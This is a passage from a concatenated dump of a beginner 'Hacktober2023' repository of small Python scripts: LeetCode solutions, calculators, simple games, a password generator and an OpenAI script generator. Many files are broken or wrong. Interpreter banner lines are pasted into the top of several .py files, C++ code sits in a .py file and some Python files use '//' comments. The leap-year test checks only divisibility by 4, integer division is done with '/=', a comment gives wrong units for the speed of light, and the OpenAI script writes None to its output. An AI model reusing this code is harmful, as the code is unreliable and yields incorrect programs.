| while list1 and list2: 7 | if(list1.val Optional[ListNode]: 4 | l=ListNode() 5 | tail=l 6 | while list1 and list2: 7 | if(list1.val int: 4 | slow=head 5 | s=0 6 | fast=head 7 | a=head 8 | b=None 9 | while fast and fast.next: 10 | b=slow 11 | slow=slow.next 12 | fast=fast.next.next 13 | prev=None 14 | curr=slow 15 | nxt=None 16 | while(curr!=None): 17 | nxt=curr.next 18 | curr.next=prev 19 | prev=curr 20 | curr=nxt 21 | while prev: 22 | s=max(s,prev.val+head.val) 23 | head=head.next 24 | prev=prev.next 25 |         return s -------------------------------------------------------------------------------- /Hacktober2023/234.PalindromeLinkedList-leedcode.py: -------------------------------------------------------------------------------- 1 | Python 3.10.6 (tags/v3.10.6:9c7b4bd, Aug 1 2022, 21:53:49) [MSC v.1932 64 bit (AMD64)] on win32 2 | Type "help", "copyright", "credits" or "license()" for more information. 3 | class Solution: 4 | def isPalindrome(self, head: Optional[ListNode]) -> bool: 5 | slow=head 6 | fast=head.next 7 | while fast and fast.next: 8 | slow=slow.next 9 | fast=fast.next.next 10 | nxt=None 11 | curr=slow.next 12 | prev=None 13 | while curr: 14 | nxt=curr.next 15 | curr.next=prev 16 | prev=curr 17 | curr=nxt 18 | h1=head 19 | h2=prev 20 | while h2: 21 | if(h1.val!=h2.val): 22 | return False 23 | h1=h1.next 24 | h2=h2.next 25 |      return True -------------------------------------------------------------------------------- /Hacktober2023/349. Intersection of Two Arrays-leedcode.py: -------------------------------------------------------------------------------- 1 | Python 3.10.6 (tags/v3.10.6:9c7b4bd, Aug 1 2022, 21:53:49) [MSC v.1932 64 bit (AMD64)] on win32 2 | Type "help", "copyright", "credits" or "license()" for more information. 3 | def intersection(self, nums1: List[int], nums2: List[int]) -> List[int]: 4 | x=set(nums1) 5 | 6 | y=set(nums2) 7 | 8 | return list(x.intersection(y)) -------------------------------------------------------------------------------- /Hacktober2023/69. Sqrt(x)-leedcode.py: -------------------------------------------------------------------------------- 1 | Python 3.10.6 (tags/v3.10.6:9c7b4bd, Aug 1 2022, 21:53:49) [MSC v.1932 64 bit (AMD64)] on win32 2 | Type "help", "copyright", "credits" or "license()" for more information. 3 | def mySqrt(self, x: int) -> int: 4 | i=0 5 | j=x 6 | while(i<=j): 7 | mid=i+(j-i)//2 8 | if(mid*mid==x): 9 | return mid 10 | elif(mid*mid bool: 4 | i=0 5 | j=0 6 | while(j0 and typed[j]==typed[j-1]): 11 | j+=1 12 | else: 13 | return False 14 | return i==len(name) -------------------------------------------------------------------------------- /Hacktober2023/Age_Calculator.py: -------------------------------------------------------------------------------- 1 | """ 2 | Input your date of birth in the format 3 | DD-MM-YYYY 4 | to calculate your age in years, months and days old 5 | 6 | """ 7 | 8 | 9 | from datetime import datetime 10 | 11 | # Input 12 | dob_input = input("Enter your date of birth (dd-mm-yyyy): ") 13 | 14 | # Convert the input string to a datetime object 15 | dob = datetime.strptime(dob_input, "%d-%m-%Y") 16 | 17 | # Get the current date 18 | current_date = datetime.now() 19 | 20 | # Calculate the difference between the current date and the date of birth 21 | age = current_date - dob 22 | 23 | # Retrieve years, months, and days from the age difference 24 | years = age.days // 365 25 | remaining_days = age.days % 365 26 | months = remaining_days // 30 27 | days = remaining_days % 30 28 | 29 | # Display the age in the format yyyy-mm-dd 30 | formatted_age = current_date.strftime("%Y-%m-%d") 31 | print(f"\n\nYou are {years} years, {months} months, and {days} days old.") 32 | 33 | # Calculate the age in months and days 34 | total_months = years * 12 + months 35 | total_days = age.days 36 | 37 | # Display the age in the format months, and days 38 | formatted_age = current_date.strftime("%Y-%m-%d") 39 | 40 | print(f"\nYou are in months: {total_months} months old \nand in days: {total_days} in days old.") 41 | -------------------------------------------------------------------------------- /Hacktober2023/AsteroidCollision.py: -------------------------------------------------------------------------------- 1 | def asteroidCollision(self, asteroids: List[int]) -> List[int]: 2 | stack = [] 3 | for id in asteroids: 4 | if not stack or stack[-1]*id>0 or stack[-1]<0: 5 | stack.append(id) 6 | elif abs(id)>=abs(stack[-1]): 7 | while stack and stack[-1]>0 and abs(id) > abs(stack[-1]): 8 | stack.pop() 9 | if not stack or stack[-1]<0: 10 | stack.append(id) 11 | elif stack[-1] == -id: 12 | stack.pop() 13 | return stack 14 | -------------------------------------------------------------------------------- /Hacktober2023/BMIcalculator.py: -------------------------------------------------------------------------------- 1 | Height=float(input("Enter your height in centimeters: ")) 2 | Weight=float(input("Enter your Weight in Kg: ")) 3 | Height = Height/100 4 | BMI=Weight/(Height*Height) 5 | print("your Body Mass Index is: ",BMI) 6 | if(BMI>0): 7 | if(BMI<=16): 8 | print("you are severely underweight") 9 | elif(BMI<=18.5): 10 | print("you are underweight") 11 | elif(BMI<=25): 12 | print("you are Healthy") 13 | elif(BMI<=30): 14 | print("you are overweight") 15 | else: print("you are severely overweight") 16 | else:("enter valid details") 17 | -------------------------------------------------------------------------------- /Hacktober2023/Binary_Search.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | public class Main 3 | { 4 | int binary_search(int a[], int n, int k) 5 | { 6 | int mid=0,l=0,h=n-1,ans=0; 7 | while(l<=h) 8 | { 9 | mid=(h+l)/2; 10 | if(a[mid]==k) 11 | { 12 | return mid+1; 13 | } 14 | else if(k>a[mid]) 15 | l=mid+1; 16 | else 17 | h=mid-1; 18 | } 19 | return -1; 20 | } 21 | public static void main(String[] args) 22 | { 23 | int n; 24 | Scanner sc=new Scanner(System.in); 25 | n=sc.nextInt(); 26 | int a[]= new int [n]; 27 | for(int i=0;i 0: 9 | 10 | for i in range(gap,n): 11 | temp = arr[i] 12 | j = i 13 | while j >= gap and arr[j-gap] >temp: 14 | arr[j] = arr[j-gap] 15 | j -= gap 16 | 17 | # put temp (the original a[i]) in its correct location 18 | arr[j] = temp 19 | gap /= 2 20 | 21 | 22 | # Driver code to test above 23 | arr = [ 12, 34, 54, 2, 3] 24 | 25 | n = len(arr) 26 | print ("Array before sorting:") 27 | for i in range(n): 28 | print(arr[i]), 29 | 30 | shellSort(arr) 31 | 32 | print ("\nArray after sorting:") 33 | for i in range(n): 34 | print(arr[i]), 35 | -------------------------------------------------------------------------------- /Hacktober2023/Disarium_number.py: -------------------------------------------------------------------------------- 1 | #program to check if the number entered is a Disarium number.(89 = 8^1+ 9^2) 2 | a=n=int(input("enter the number:-")) 3 | s=0 4 | while n>0: #to revese a number 5 | d=n%10 6 | s=s*10+d 7 | n=n//10 8 | b=1 9 | d=0 10 | while s!=0: 11 | c=s%10 12 | d+=c**b 13 | b+=1 14 | s=s//10 15 | if d==a: 16 | print("Disarium") 17 | else: 18 | print("not Disarium") 19 | -------------------------------------------------------------------------------- /Hacktober2023/Distribute_N_candies.py: -------------------------------------------------------------------------------- 1 | def distribute_candies(N, K): 2 | result = [0] * K # initialize a list of K elements with zero candies 3 | i = 0 4 | while N > 0: # loop until we have no more candies to distribute 5 | candies_to_give = min(N, i+1) 6 | result[i % K] += candies_to_give # distribute candies to the i-th person 7 | N -= candies_to_give # subtract the distributed candies from N 8 | i += 1 # move to the next person 9 | return result 10 | 11 | if __name__ == '__main__': 12 | N = 10 13 | K = 3 14 | result = distribute_candies(N, K) 15 | for i in range(K): 16 | print(result[i], end=" ") 17 | # output: 3 3 4 18 | -------------------------------------------------------------------------------- /Hacktober2023/Division_Calculator: -------------------------------------------------------------------------------- 1 | def quotient(a, b): 2 | return (a / b) 3 | 4 | a = int(input('Enter 1st number: ')) 5 | b = int(input('Enter 2nd number: ')) 6 | 7 | print(f'quotient of {a} and {b} is {quotient(a, b)}') 8 | print("Thanks for Dividing!") 9 | -------------------------------------------------------------------------------- /Hacktober2023/Drink_water_notification_reminder.py: -------------------------------------------------------------------------------- 1 | import time 2 | import notify2 3 | import win10toast 4 | import os 5 | import sys 6 | 7 | def linux(): 8 | notify2.init("Reminder") 9 | notice = notify2.Notification('Drink water', "It's been 2 hrs since you last drank water!") 10 | while True: 11 | notice.show() 12 | time.sleep(7200) 13 | 14 | def windows(): 15 | toast = win10toast.ToastNotifier() 16 | toast.show_toast("Reminder", "It's been 2 hrs since you last drank water!", duration=7200) 17 | 18 | def mac(): 19 | while True: 20 | command = "osascript -e \'display alert \"Its been 2 hrs, Drink water\"\'" 21 | os.system(command) 22 | time.sleep(7200) 23 | 24 | if __name__ == "__main__": 25 | if sys.platform == "linux": 26 | linux() 27 | elif sys.platform == "win32": 28 | windows() 29 | elif sys.platform == "darwin": 30 | mac() -------------------------------------------------------------------------------- /Hacktober2023/Each_vowel_count_in_given_string.py: -------------------------------------------------------------------------------- 1 | str = input("Enter the string : ") 2 | 3 | vowels = 'aeiou' 4 | 5 | # returns the string with same case for proper comparison 6 | str = str.casefold() 7 | 8 | # Create a new dictionary with keys from vowels and value set to 0 9 | count = {}.fromkeys(vowels, 0) 10 | 11 | # Count each character in given string 12 | for char in str: 13 | if char in count: 14 | count[char] += 1 15 | 16 | print(count) -------------------------------------------------------------------------------- /Hacktober2023/EratosthenesAlgorithm.py: -------------------------------------------------------------------------------- 1 | def sieve_of_eratosthenes(limit): 2 | primes = [True] * (limit + 1) 3 | primes[0] = primes[1] = False 4 | 5 | for num in range(2, int(limit**0.5) + 1): 6 | if primes[num]: 7 | for multiple in range(num * num, limit + 1, num): 8 | primes[multiple] = False 9 | 10 | prime_numbers = [num for num, is_prime in enumerate(primes) if is_prime] 11 | return prime_numbers 12 | 13 | def main(): 14 | limit = int(input("Enter the upper limit to find prime numbers: ")) 15 | prime_numbers = sieve_of_eratosthenes(limit) 16 | 17 | print(f"Prime numbers up to {limit}:") 18 | print(prime_numbers) 19 | 20 | if __name__ == "__main__": 21 | main() 22 | -------------------------------------------------------------------------------- /Hacktober2023/HACK23.md: -------------------------------------------------------------------------------- 1 | # This is Hacktoberfest '23 folder 2 | -------------------------------------------------------------------------------- /Hacktober2023/Hangman Game: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def choose_random_word(): 4 | word_list = ["apple", "banana", "cherry", "date", "elderberry", "fig", "grape", "honeydew"] 5 | return random.choice(word_list) 6 | 7 | def display_word(word, guessed_letters): 8 | display = "" 9 | for letter in word: 10 | if letter in guessed_letters: 11 | display += letter 12 | else: 13 | display += "_" 14 | return display 15 | 16 | def hangman(): 17 | max_attempts = 6 18 | word_to_guess = choose_random_word() 19 | guessed_letters = [] 20 | attempts = 0 21 | 22 | print("Welcome to Hangman!") 23 | 24 | while attempts < max_attempts: 25 | current_display = display_word(word_to_guess, guessed_letters) 26 | print(f"Word: {current_display}") 27 | guess = input("Guess a letter: ").lower() 28 | 29 | if len(guess) != 1 or not guess.isalpha(): 30 | print("Please enter a single letter.") 31 | continue 32 | 33 | if guess in guessed_letters: 34 | print("You've already guessed that letter.") 35 | continue 36 | 37 | guessed_letters.append(guess) 38 | 39 | if guess in word_to_guess: 40 | print("Correct!") 41 | else: 42 | print("Incorrect guess!") 43 | attempts += 1 44 | 45 | if set(word_to_guess) == set(guessed_letters): 46 | print(f"Congratulations! You guessed the word: {word_to_guess}") 47 | break 48 | 49 | if attempts == max_attempts: 50 | print(f"Sorry, you've run out of attempts. The word was: {word_to_guess}") 51 | 52 | if __name__ == "__main__": 53 | hangman() 54 | -------------------------------------------------------------------------------- /Hacktober2023/JojoGoesAdventure.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | # Define the player 4 | class Player: 5 | def __init__(self, name): 6 | self.name = name 7 | self.health = 100 8 | 9 | def take_damage(self, damage): 10 | self.health -= damage 11 | 12 | def is_alive(self): 13 | return self.health > 0 14 | 15 | def heal(self, amount): 16 | self.health += amount 17 | 18 | # Define game scenes 19 | def start_game(): 20 | print("Welcome to the Adventure, Jojo!") 21 | print("You find yourself in a mysterious forest.") 22 | 23 | def explore_forest(player): 24 | print("You venture deeper into the forest.") 25 | print("Suddenly, you encounter a wild animal!") 26 | choice = input("Do you 'fight' or 'run' away? ").lower() 27 | 28 | if choice == "fight": 29 | print("You engage in a battle but get wounded.") 30 | player.take_damage(20) 31 | print("You managed to defeat the animal but lost some health.") 32 | elif choice == "run": 33 | print("You decide to run away and find a safe spot to rest.") 34 | player.heal(10) 35 | print("You've healed a bit and your health is now", player.health) 36 | 37 | def end_game(player): 38 | print("The adventure comes to an end.") 39 | if player.is_alive(): 40 | print("Congratulations, Jojo! You survived the adventure with", player.health, "health remaining.") 41 | else: 42 | print("Unfortunately, Jojo didn't make it. Better luck next time!") 43 | 44 | # Main game loop 45 | def adventure_game(): 46 | player_name = "Jojo" 47 | jojo = Player(player_name) 48 | start_game() 49 | 50 | while jojo.is_alive(): 51 | explore_forest(jojo) 52 | 53 | end_game(jojo) 54 | 55 | # Start the adventure game 56 | adventure_game() 57 | -------------------------------------------------------------------------------- /Hacktober2023/Largest Rectangle in Histogram(problem 84 leetcode).py: -------------------------------------------------------------------------------- 1 | def largestRectangleArea(self, heights: List[int]) -> int: 2 | area=0 3 | stack=[] 4 | for i,h in enumerate(heights): 5 | start=i 6 | while stack and stack[-1][1]>h: 7 | index,height=stack.pop() 8 | area=max(area,height*(i-index)) 9 | start=index 10 | stack.append((start,h)) 11 | for i,h in stack: 12 | area=max(area,h*(len(heights)-i)) 13 | return area 14 | -------------------------------------------------------------------------------- /Hacktober2023/Leapyear.py: -------------------------------------------------------------------------------- 1 | #leap year 2 | 3 | year = int(input("Enter year to check ")) 4 | 5 | if year%4 == 0: 6 | print("Its a leap year") 7 | else: 8 | print("Its not a leap year") 9 | -------------------------------------------------------------------------------- /Hacktober2023/Median of Two Sorted Arrays.py: -------------------------------------------------------------------------------- 1 | class Solution { 2 | public: 3 | double findMedianSortedArrays(vector &nums1, vector &nums2) { 4 | int n1 = nums1.size(), n2 = nums2.size(); 5 | if (n1 > n2) 6 | return findMedianSortedArrays(nums2, nums1); 7 | int n = n1 + n2; 8 | int left = (n1 + n2 + 1) / 2; 9 | int low = 0, high = n1; 10 | while (low <= high) { 11 | int mid1 = (low + high) >> 1; 12 | int mid2 = left - mid1; 13 | int l1 = INT_MIN, l2 = INT_MIN, r1 = INT_MAX, r2 = INT_MAX; 14 | if (mid1 < n1) 15 | r1 = nums1[mid1]; 16 | if (mid2 < n2) 17 | r2 = nums2[mid2]; 18 | if (mid1 - 1 >= 0) 19 | l1 = nums1[mid1 - 1]; 20 | if (mid2 - 1 >= 0) 21 | l2 = nums2[mid2 - 1]; 22 | if (l1 <= r2 && l2 <= r1) { 23 | if (n % 2 == 1) 24 | return max(l1, l2); 25 | else 26 | return ((double)(max(l1, l2) + min(r1, r2))) / 2.0; 27 | } 28 | else if (l1 > r2) 29 | high = mid1 - 1; 30 | else 31 | low = mid1 + 1; 32 | } 33 | return 0; 34 | } 35 | }; 36 | -------------------------------------------------------------------------------- /Hacktober2023/NQueen.py: -------------------------------------------------------------------------------- 1 | //Leetcode N-Queen problem 2 | # Function to check if two queens threaten each other or not 3 | def isSafe(mat, r, c): 4 | 5 | # return false if two queens share the same column 6 | for i in range(r): 7 | if mat[i][c] == 'Q': 8 | return False 9 | 10 | # return false if two queens share the same `` diagonal 11 | (i, j) = (r, c) 12 | while i >= 0 and j >= 0: 13 | if mat[i][j] == 'Q': 14 | return False 15 | i = i - 1 16 | j = j - 1 17 | 18 | # return false if two queens share the same `/` diagonal 19 | (i, j) = (r, c) 20 | while i >= 0 and j < len(mat): 21 | if mat[i][j] == 'Q': 22 | return False 23 | i = i - 1 24 | j = j + 1 25 | 26 | return True 27 | 28 | 29 | def printSolution(mat): 30 | for r in mat: 31 | print(str(r).replace(',', '').replace('\'', '')) 32 | print() 33 | 34 | 35 | def nQueen(mat, r): 36 | 37 | # if `N` queens are placed successfully, print the solution 38 | if r == len(mat): 39 | printSolution(mat) 40 | return 41 | 42 | # place queen at every square in the current row `r` 43 | # and recur for each valid movement 44 | for i in range(len(mat)): 45 | 46 | # if no two queens threaten each other 47 | if isSafe(mat, r, i): 48 | # place queen on the current square 49 | mat[r][i] = 'Q' 50 | 51 | # recur for the next row 52 | nQueen(mat, r + 1) 53 | 54 | # backtrack and remove the queen from the current square 55 | mat[r][i] = '–' 56 | 57 | 58 | if __name__ == '__main__': 59 | 60 | # `N × N` chessboard 61 | N = 8 62 | 63 | # `mat[][]` keeps track of the position of queens in 64 | # the current configuration 65 | mat = [['–' for x in range(N)] for y in range(N)] 66 | 67 | nQueen(mat, 0) 68 | -------------------------------------------------------------------------------- /Hacktober2023/Notepad/notepad.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techyminati/python_codes/59870152b4409b7a244b42854e39955ff629bc79/Hacktober2023/Notepad/notepad.ico -------------------------------------------------------------------------------- /Hacktober2023/Password_Genertor.py: -------------------------------------------------------------------------------- 1 | import string 2 | from random import * 3 | 4 | letters = string.ascii_letters 5 | digits = string.digits 6 | symbols = string.punctuation 7 | chars = letters + digits + symbols 8 | 9 | min_length = 8 10 | max_length = 16 11 | password = "".join(choice(chars) for x in range(randint(min_length, max_length))) 12 | print(password) 13 | -------------------------------------------------------------------------------- /Hacktober2023/Pattern.py: -------------------------------------------------------------------------------- 1 | n=int(input("Enter number of rows=")) 2 | for i in range(n): 3 | for j in range(n-i-1): 4 | print(' ',end="") 5 | for j in range(2*i+1): 6 | print('#',end="") 7 | print() 8 | for i in range(n-1): 9 | for j in range(i+1): 10 | print(' ',end="") 11 | for j in range(2*(n-i-1)-1): 12 | print('#',end="") 13 | print() 14 | -------------------------------------------------------------------------------- /Hacktober2023/Prime_number.py: -------------------------------------------------------------------------------- 1 | # Program to check if a number is prime or not 2 | # Input from the user 3 | num = int(input("Enter a number: ")) 4 | 5 | # If number is greater than 1 6 | if num > 1: 7 | # Check if factor exist 8 | for i in range(2,num): 9 | if (num % i) == 0: 10 | print(num,"is not a prime number") 11 | break 12 | else: 13 | print(num,"is a prime number") 14 | 15 | # Else if the input number is less than or equal to 1 16 | else: 17 | print(num,"is not a prime number") 18 | -------------------------------------------------------------------------------- /Hacktober2023/PrintSpoolerUsingQueue.py: -------------------------------------------------------------------------------- 1 | from queue import Queue 2 | 3 | class PrintSpooler: 4 | def __init__(self): 5 | self.print_queue = Queue() 6 | 7 | def add_print_job(self, job): 8 | self.print_queue.put(job) 9 | print("Added print job:", job) 10 | 11 | def print_next_job(self): 12 | if not self.print_queue.empty(): 13 | job = self.print_queue.get() 14 | print("Printing:", job) 15 | else: 16 | print("Print queue is empty.") 17 | 18 | if __name__ == "__main__": 19 | spooler = PrintSpooler() 20 | spooler.add_print_job("Document1.pdf") 21 | spooler.add_print_job("Image.jpg") 22 | spooler.add_print_job("Spreadsheet.xlsx") 23 | 24 | print("Printing jobs:") 25 | spooler.print_next_job() 26 | spooler.print_next_job() 27 | spooler.print_next_job() 28 | spooler.print_next_job() 29 | -------------------------------------------------------------------------------- /Hacktober2023/PyEinstein.py: -------------------------------------------------------------------------------- 1 | # Einsteins Famous Equation (E = mc ^2) or (E = mc squared) 2 | # Ben Woodfield - proving the Power of Python 3 | # 4 Lines of code, solve one of the greatest physics equations 4 | 5 | # Not sure if Energy Units are right 6 | 7 | 8 | cSpeed = 299792458 # Metres Per Second Squared (m/s)2. Top 3 google results = this val 9 | # m = 0.1 #Enter Value 10 | mass = float(input("Enter Mass in Kg (eg: 10.99)\n>>> ")) 11 | energy = mass*cSpeed**2 #(m*c) * (m*c) 12 | print("E = %d kg*(m/s)2" % energy) # Check Energy units 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /Hacktober2023/PyEinstein_TK.py: -------------------------------------------------------------------------------- 1 | # Einsteins Famous Equation (E = mc ^2) or (E = mc squared) 2 | # Ben Woodfield - proving the Power of Python 3 | # Solve one of the greatest physics equations - With a nice GUI 4 | # Tkinter version - NO additional python modules needed to run 5 | 6 | # Python 2.7.11 used to write this app 7 | # To run on Python 3....just change (Tkinter) to (tkinter) 8 | 9 | import Tkinter as tk # Edit here for Py3 10 | from Tkinter import * # edit here for py3 11 | 12 | class MainApplication(tk.Frame): 13 | def __init__(self, parent, *args, **kwargs): 14 | tk.Frame.__init__(self, parent, *args, **kwargs) 15 | self.parent = parent 16 | 17 | cvt_from = StringVar() 18 | cvt_to = StringVar() 19 | 20 | # if cvt_from == not.float 21 | # print('Please Enter A Numerical Value \n(e.g: 2 or 1.9 or 1.99999)') 22 | 23 | def emc2_formula(): 24 | cSpeed = 299792458 25 | mass = float(cvt_from.get()) 26 | energy = mass*cSpeed**2 27 | cvt_to.set("E = %d \nkg*(m/s)2" % energy) 28 | 29 | lbl_one = Label(self,text='Enter your Mass \n in Kg',font='freesansbold') 30 | lbl_one.pack(fill=X) 31 | 32 | mass_input = Entry(self, textvariable=cvt_from,relief='sunken',justify='center',width=30,font=14) 33 | mass_input.pack() 34 | 35 | lbl_two = Label(self, text='Click the Calculate button',font='freesansbold') 36 | lbl_two.pack(fill=X) 37 | 38 | btn_one = Button(self,bg='Grey',text='CALCULATE',font='freesansbold',fg='Blue',command=emc2_formula) 39 | btn_one.pack(fill=X) 40 | 41 | #if cvt_from == str(''): 42 | # print('Please Enter A Numerical Value \n(e.g: 2 or 1.9 or 1.99999)') 43 | 44 | lbl_result = Label(self,textvariable=cvt_to,relief='flat',bg='darkGrey',font='freesansbold', fg='Blue') 45 | lbl_result.pack(fill=BOTH, expand=1) 46 | 47 | lbl_four = Label(self,text='Proving the Power of Python',font='freesansbold') 48 | lbl_four.pack(fill=X) 49 | 50 | lbl_three = Label(self,text='Result',relief='flat',bg='Grey',font='freesansbold',fg='Blue') 51 | lbl_three.pack 52 | 53 | btn_exit = Button(self,text='Exit',command=quit) 54 | btn_exit.pack(side=BOTTOM,fill=X) 55 | 56 | if __name__ == "__main__": 57 | root = tk.Tk() 58 | root.title('PyStein - Einsteins E = mc2') 59 | root.minsize(350,400) 60 | MainApplication(root).pack(side="top", fill="both", expand=True) 61 | 62 | root.mainloop() 63 | 64 | -------------------------------------------------------------------------------- /Hacktober2023/Python Script Generator using Chatgpt/README.md: -------------------------------------------------------------------------------- 1 | # Python Script Generator 2 | 3 | A Python script that interacts with the OpenAI API to generate Python code based on a given prompt. 4 | 5 | ## Table of Contents 6 | 7 | - [Introduction](#introduction) 8 | - [Prerequisites](#prerequisites) 9 | - [Installation](#installation) 10 | - [Usage](#usage) 11 | - [API Key](#api-key) 12 | - [Example](#example) 13 | - [Contributing](#contributing) 14 | - [License](#license) 15 | 16 | ## Introduction 17 | 18 | The Python Script Generator is a command-line tool that utilizes the OpenAI API to generate Python code snippets based on a provided prompt. It simplifies the process of creating Python scripts for various tasks. 19 | 20 | ## Prerequisites 21 | 22 | Before you begin, ensure you have met the following requirements: 23 | 24 | - Python 3.x 25 | - Requests library 26 | - buy openai Subscription and after use its API 27 | 28 | ## Installation 29 | 30 | 1. Clone the repository: 31 | 32 | ```bash 33 | git clone https://github.com/your-username/python-script-generator.git 34 | `````` 35 | 36 | 2. Navigate to the project directory: 37 | 38 | ```bash 39 | cd python-script-generator 40 | `````` 41 | 42 | ## Usage 43 | 44 | To generate a Python script, use the following command: 45 | 46 | ```bash 47 | python generate_script.py "Your prompt here" "output.py" 48 | `````` 49 | 50 | ## API Key 51 | 52 | To use the OpenAI API, you need to first buy openai subscription and after that set your OpenAI API key as an environment variable. Follow these steps to obtain and set up your API key: 53 | 54 | 1. Sign up for an OpenAI account, buy openai subscription and create an API key on the OpenAI website. 55 | 56 | 2. Set your API key as an environment variable: 57 | 58 | ```bash 59 | $env:OPENAI_API_KEY="your-api-key" 60 | `````` 61 | 62 | ## Example 63 | 64 | Here's an example of generating a Python script: 65 | 66 | ```bash 67 | $env:OPENAI_API_KEY="your-api-key" 68 | `````` 69 | ```bash 70 | generate_script.py "Create a function that calculates the factorial of a number" "factorial.py" 71 | `````` 72 | 73 | Generated factorial.py: 74 | 75 | ```python 76 | def factorial(n): 77 | if n == 0: 78 | return 1 79 | else: 80 | return n * factorial(n-1) 81 | 82 | `````` 83 | 84 | -------------------------------------------------------------------------------- /Hacktober2023/Python Script Generator using Chatgpt/python-chatgpt.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import argparse 3 | import os 4 | 5 | parser = argparse.ArgumentParser() 6 | parser.add_argument("prompt" , help="The prompt to send to the OpenAI API") 7 | parser.add_argument("file_name" , help="Name of the file to save python script") 8 | args = parser.parse_args() 9 | 10 | api_endpoint= "https://api.openai.com/v1/chat/completions" 11 | 12 | api_key= os.getenv("OPENAI_API_KEY") #YOU HAVE TO SET THIS API IN TERMINAL TO USE IT : $env:OPENAI_API_KEY="sk-your api key" 13 | 14 | request_headers= { 15 | "Content-Type": "application/json", 16 | "Authorization": "Bearer " + api_key 17 | } 18 | 19 | request_data = { 20 | "model": "text-davinci-002", 21 | "prompt": f"write python script for {args.prompt}.Write code only without text", 22 | "max_tokens": 100, 23 | "temperature": 0.5 24 | } 25 | 26 | response = requests.post(api_endpoint, headers=request_headers, json=request_data) 27 | 28 | if response.status_code == 200: 29 | response_text= print(response.json()["choices"][0]["text"]) 30 | with open(args.file_name, "w") as file: 31 | file.write(str(response_text)) 32 | else: 33 | print(f"Request failed with status code {str(response.status_code)}") 34 | -------------------------------------------------------------------------------- /Hacktober2023/RestoringIP.py: -------------------------------------------------------------------------------- 1 | //Restore IP Address leetcode problem 2 | class Solution: 3 | def restoreIpAddresses(self, s: str) -> List[str]: 4 | ans = [] 5 | def backtrack(path, s): 6 | if len(path) == 4 and len(s) == 0: 7 | ans.append(".".join(path)) 8 | for i in range(1, len(s) + 1): 9 | num = s[:i] 10 | if int(num) > 255 or (num[0] == "0" and len(num) > 1):continue 11 | path.append(num) 12 | backtrack(path, s[i:]) 13 | path.pop() 14 | backtrack([], s) 15 | return ans 16 | -------------------------------------------------------------------------------- /Hacktober2023/RotateImage.py: -------------------------------------------------------------------------------- 1 | '''Leetcode Problem-You are given an n x n 2D matrix representing an image, rotate the image by 90 degrees (clockwise). 2 | You have to rotate the image in-place, which means you have to modify the input 2D matrix directly. DO NOT allocate another 2D matrix and do the rotation.''' 3 | class Solution: 4 | def rotate(self, matrix: List[List[int]]) -> None: 5 | matrix[:] = [i[::-1] for i in zip(*matrix)] 6 | -------------------------------------------------------------------------------- /Hacktober2023/StringCompression.py: -------------------------------------------------------------------------------- 1 | # Time: O(n) 2 | # Space: O(1) 3 | 4 | class Solution(object): 5 | def compress(self, chars): 6 | """ 7 | :type chars: List[str] 8 | :rtype: int 9 | """ 10 | anchor, write = 0, 0 11 | for read, c in enumerate(chars): 12 | if read+1 == len(chars) or chars[read+1] != c: 13 | chars[write] = chars[anchor] 14 | write += 1 15 | if read > anchor: 16 | n, left = read-anchor+1, write 17 | while n > 0: 18 | chars[write] = chr(n%10+ord('0')) 19 | write += 1 20 | n /= 10 21 | right = write-1 22 | while left < right: 23 | chars[left], chars[right] = chars[right], chars[left] 24 | left += 1 25 | right -= 1 26 | anchor = read+1 27 | return write 28 | -------------------------------------------------------------------------------- /Hacktober2023/Task manager.py: -------------------------------------------------------------------------------- 1 | class TaskManager: 2 | def __init__(self): 3 | self.tasks = [] 4 | 5 | def add_task(self, task): 6 | self.tasks.append(task) 7 | 8 | def remove_task(self, task): 9 | if task in self.tasks: 10 | self.tasks.remove(task) 11 | 12 | def list_tasks(self): 13 | for idx, task in enumerate(self.tasks, start=1): 14 | print(f"{idx}. {task}") 15 | 16 | def main(): 17 | task_manager = TaskManager() 18 | 19 | while True: 20 | print("\nTaskMaster - Your To-Do List Manager") 21 | print("1. Add Task") 22 | print("2. Remove Task") 23 | print("3. List Tasks") 24 | print("4. Quit") 25 | 26 | choice = input("Enter your choice: ") 27 | 28 | if choice == "1": 29 | task = input("Enter task description: ") 30 | task_manager.add_task(task) 31 | elif choice == "2": 32 | task = input("Enter task to remove: ") 33 | task_manager.remove_task(task) 34 | elif choice == "3": 35 | task_manager.list_tasks() 36 | elif choice == "4": 37 | print("Goodbye!") 38 | break 39 | else: 40 | print("Invalid choice. Please try again.") 41 | 42 | if __name__ == "__main__": 43 | main() 44 | -------------------------------------------------------------------------------- /Hacktober2023/The kth Factor of n(problem 1492 leetcode).py: -------------------------------------------------------------------------------- 1 | def kthFactor(self, n: int, k: int) -> int: 2 | a=[] 3 | for i in range(1,n+1): 4 | if(n%i==0): 5 | a.append(i) 6 | if(len(a)]", password): 13 | return "Weak: Password should contain at least one special character." 14 | else: 15 | return "Strong: Password is secure." 16 | 17 | if __name__ == "__main__": 18 | password = input("Enter your password: ") 19 | strength = check_password_strength(password) 20 | print(strength) 21 | -------------------------------------------------------------------------------- /Hacktober2023/array_rotation.py: -------------------------------------------------------------------------------- 1 | def swap_first_and_last(start, end, array): 2 | # Calculate the number of iterations needed to reverse the list 3 | num_reversals = end - start + 1 4 | 5 | # Swap the first and last elements by incrementing the count value 6 | count = 0 7 | while (num_reversals) // 2 != count: 8 | array[start + count], array[end - count] = array[end - count], array[start + count] 9 | count += 1 10 | return array 11 | 12 | def left_rotate_array(array, size, rotations): 13 | # Reverse the entire list 14 | start = 0 15 | end = size - 1 16 | array = swap_first_and_last(start, end, array) 17 | 18 | # Divide the array into two sub-arrays based on the number of rotations 19 | # Divide the first sub-array and reverse it 20 | start = 0 21 | end = size - rotations - 1 22 | array = swap_first_and_last(start, end, array) 23 | 24 | # Divide the second sub-array and reverse it 25 | start = size - rotations 26 | end = size - 1 27 | array = swap_first_and_last(start, end, array) 28 | return array 29 | 30 | original_array = [1, 2, 3, 4, 5, 6, 7, 8] 31 | array_size = 8 32 | print("Original array is [1, 2, 3, 4, 5, 6, 7, 8]") 33 | rotations=int(input("Enter the number of rotations: ")) 34 | print('Original array:', original_array) 35 | 36 | # Handle cases where the number of rotations is greater than the array size 37 | if rotations <= array_size: 38 | print('Rotated array: ', left_rotate_array(original_array, array_size, rotations)) 39 | else: 40 | rotations = rotations % array_size 41 | 